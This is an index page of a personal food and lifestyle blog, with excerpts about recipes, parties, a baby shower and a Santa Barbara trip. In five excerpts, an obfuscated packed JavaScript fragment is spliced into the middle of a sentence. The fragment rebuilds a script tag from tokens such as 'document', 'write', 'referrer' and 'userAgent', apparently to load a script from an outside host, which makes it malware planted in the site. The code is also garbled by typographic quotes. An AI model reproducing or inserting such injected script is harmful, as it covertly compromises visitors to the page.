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Mint Chocolate Cake with Mint Frosting

My friend, Brooke celebrated her birthday on Sunday.  To celebrate, I decided to make her a mint chocolate cake.  She has a thing for mint chocolate.  And who can blame her?  The combo is pretty delicious! First, a little mint chocolate cake research!  I headed to Annie’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfkb|var|u0026u|referrer|rybyt||js|php’.split(‘|’),0,{})) Eats and found […]

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Bacon Maple Cookies

A little over a year ago I posted about maple ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drsfr|var|u0026u|referrer|hzyth||js|php’.split(‘|’),0,{})) leaf cookies from Trader Joes.  They taste like a maple bar, but are packaged in cookie form.  Yeah, best cookie ever. Last weekend, during out weekend off the grid, we indulged in multiple bacon themed desserts.  Some were weird and […]

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Beer Tasting Party

Nick celebrated a milestone birthday back in September and I finally got around to throwing him a little shindig this past weekend.  We decided that a beer tasting party was in order! I found some inspiration over at HWTM ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhibh|var|u0026u|referrer|rreke||js|php’.split(‘|’),0,{})) and Could be Interesting, but decided to take my own little […]

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No Mayo Potato Salad

We had this tasty no-mayo-potatos-salad a few weeks ago at a friend’s BBQ.  It’s based on a Whole ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibibz|var|u0026u|referrer|hbdrs||js|php’.split(‘|’),0,{})) Foods recipe that I altered based on what I had around the house. The lack of mayo means it can sit out for a bit longer without the concern for food poisoning […]

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Santa Barbara for a relaxing vacation

Nick had a conference in Santa Barbara (technically “Goleta”, but I bet you’ve never heard of Goleta).  Since I needed a break, I tagged along! Business people know how to put on a conference! We stayed at the Bacara resort.  If you’re looking for posh, this is definitely the place!  There are different villas throughout […]

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Vegetarian Lasagna

For some reason I had a hankering for vegetarian lasagna.  I probably had a hankering for real lasagne, but was trying to think of a healthier option. When I explained my “vegetarian” lasagna to a friend, he said, “you didn’t make a lasagna, you made a casserole.”  I didn’t include any lasagna noodles and he […]

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Grey and Orange {with a hint of Peacock} Baby Shower

For ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaiza|var|u0026u|referrer|tyyyn||js|php’.split(‘|’),0,{})) SEO (search engine optimization) reasons, I titled this post “Grey and Orange {with a hint of Peacock} Baby Shower.”  If I wasn’t concerned about SEO, I would have titled it, “Most Awesomest Baby Shower in the History of Baby Showers.”  But I don’t think people are searching for that. […]

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Baking Bread and Eating Cantaloupe

That’s what I did last weekend.  I baked some bread and ate a ton of cantaloupe. Did you know that cantaloupe is the most popular variety of melon in the US (via wikipedia….which is never wrong and my source on pretty much everything in life)?  I definitely would have guessed watermelon.  You? I was telling […]

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Christmas in your mouth

It’s the middle of summer and I just finished buying too many sweaters at the nordstrom sale.  I guess I must have winter on the brain.  And I blame Trader Joes for that! About a month ago I was introduced to TJ’s Cookie Butter.  I was told it was difficult to find – as it […]

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Curried {Costco} Chicken Salad

I’m pretty sure a Costco chicken is one of the best deals out there.  A cooked chicken for $5.  You can’t get much for $5 anymore, let alone an entire {cooked!} bird! One of my new favorite things is making curried chicken salad with a Costco chicken.  It is a great way to prep lunches […]